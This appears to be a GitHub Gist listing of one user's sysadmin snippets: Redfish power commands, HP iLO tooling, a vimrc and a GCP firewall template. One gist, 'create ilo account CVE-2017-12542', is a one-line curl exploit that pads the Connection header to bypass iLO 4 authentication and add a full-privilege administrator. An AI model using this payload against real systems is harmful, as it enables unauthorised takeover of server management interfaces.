Skip to content

Instantly share code, notes, and snippets.

@flaviotorres
flaviotorres / qwiklabs.jinja
Created March 22, 2019 06:26
Configure a Firewall and a Startup Script with Deployment Manager
resources:
- name: my-default-allow-http
type: compute.v1.firewall
properties:
targetTags: ["http"]
sourceRanges: ["0.0.0.0/0"]
allowed:
- IPProtocol: TCP
ports: ["80"]
- type: compute.v1.instance
@flaviotorres
flaviotorres / supermicro_redfish
Created January 23, 2019 01:49
Supermicro redfish power on off
SERVER="my-server"
USER="ADMIN"
PASS="ADMIN"
# ON
curl -si -u $USER:$PASS -k -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{"Action": "Reset", "ResetType": "On"}' https://$SERVER/redfish/v1/Systems/1/Actions/ComputerSystem.Reset
#OFF
curl -si -u $USER:$PASS -k -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{"Action": "Reset", "ResetType": "ForceOff"}' https://$SERVER/redfish/v1/Systems/1/Actions/ComputerSystem.Reset
# query foreman audits API by: time > "Feb 1,2018" and action = create and type = host
curl -s -uUSER:$PW -XGET -k "https://foreman.com/api/audits?search=action=create,type=host,time>Feb,1&per_page=2035"
@flaviotorres
flaviotorres / vimrc
Created August 17, 2018 19:49
ultimate vimrc
set nocompatible
if empty(glob('~/.vim/autoload/plug.vim'))
silent !curl -fLo ~/.vim/autoload/plug.vim --create-dirs
\ https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
autocmd VimEnter * PlugInstall --sync | source $MYVIMRC
endif
call plug#begin('~/.vim/bundle')
Plug 'Siphalor/vim-atomified'
@flaviotorres
flaviotorres / gist:2131c99818ffcfa655ef7d0149a4e3d5
Created July 8, 2018 16:36
create ilo account CVE-2017-12542
curl -X POST -d '{"UserName":"testuser","Password":"secretnewpass1234","Oem":{"Hp":{"LoginName":"testuser","Privileges":{"LoginPriv":true,"RemoteConsolePriv":true,"UserConfigPriv":true,"VirtualMediaPriv":true,"VirtualPowerAndResetPriv":true,"iLOConfigPriv":true}}}}' -i -k -H "Content-Type: application/json" -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" https://vulnerable_ilo_4/rest/v1/AccountService/Accounts
@flaviotorres
flaviotorres / gist:b4f85c3fcaf79cc5f9815d1241fdc4db
Created February 7, 2018 01:04
hp iLO rsadmin - Insight Remote Support
# Discover / Add devices in IRS
rsadmin discover -devices IP
# Load devices from a file
rsadmin load -file "file.csv"
# file.csv format should include: SYSTEM_NAME, SYSTEM_IP and SITE_COUNTRY data, example:
SYSTEM_NAME,SYSTEM_IP,OOS_ID,IS_ENABLED,IS_ELIGIBLE,REGISTRATION_STATUS,SERIAL_NUMBER,PRODUCT_ID,CATEGORY,PRODUCT,VENDOR,FIRMWARE_VERSION,INSTALLED_OS,PROTOCOLS,CERT_EXP_DATE,DEVICE_ADDED_DATE,LAST_UPDATED_DATE,COUNTRY_CODE,DEVICE_GROUP,CUST_DELIVERY_ID,CUST_SERIAL_NUM,CUST_PRODUCT_ID,MANAGEMENT_PROCESSOR_NAME,MANAGEMENT_PROCESSOR_IS_ENABLED,MANAGEMENT_PROCESSOR_IP,MANAGED_ACTIVE,MANAGED_INACTIVE,SITE_NAME,SITE_ADDRESS1,SITE_ADDRESS2,SITE_CITY,SITE_STATE,SITE_COUNTRY,SITE_POSTALCODE,SITE_TIMEZONE,CONTACT1_ROLE,CONTACT1_FIRSTNAME,CONTACT1_LASTNAME,CONTACT1_EMAIL,CONTACT1_PHONE,CONTACT1_ALTPHONE,CONTACT1_HOURS,CONTACT1_SALUTATION,CONTACT1_LANGUAGE,CONTACT1_TIMEZONE,CONTACT1_OTHER,CONTACT1_DEFAULT_CNTCT,CONTACT1_ADD_EMAILS,CONTACT2_ROLE,CONTACT2_FIRSTNAME,CONTACT2_LASTNAME,CONTACT2_EMAIL,CONTACT2_PHONE,CON
@flaviotorres
flaviotorres / gist:1392ef14cc564763f1fe7b1ce2427de6
Created November 22, 2017 23:08
Solaris Box image for Kitchen CI
Since solaris is not available through bento repository (Solaris requires valid license). I had to create our own Solaris Box so that we can use it with Kitchen CI.
1) Download solaris VirtualBox image: http://www.oracle.com/technetwork/systems/hands-on-labs/s11-vbox-install-1408628.html
Convert ova file from Virtualbox to Vagrant Box:
$ VBoxManage import ./sol-11_3-vbox.ova --vsys 0 --eula accept
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Successfully imported the appliance.
HPONCFG all << end_marker
<RIBCL VERSION="2.0">
<LOGIN USER_LOGIN="Dontcare" PASSWORD="UsingAutologin">
<USER_INFO MODE="write">
<ADD_USER
USER_NAME="daniel"
USER_LOGIN="daniel"
PASSWORD="daniel123">
<ADMIN_PRIV value ="Yes"/>
<REMOTE_CONS_PRIV value ="Yes"/>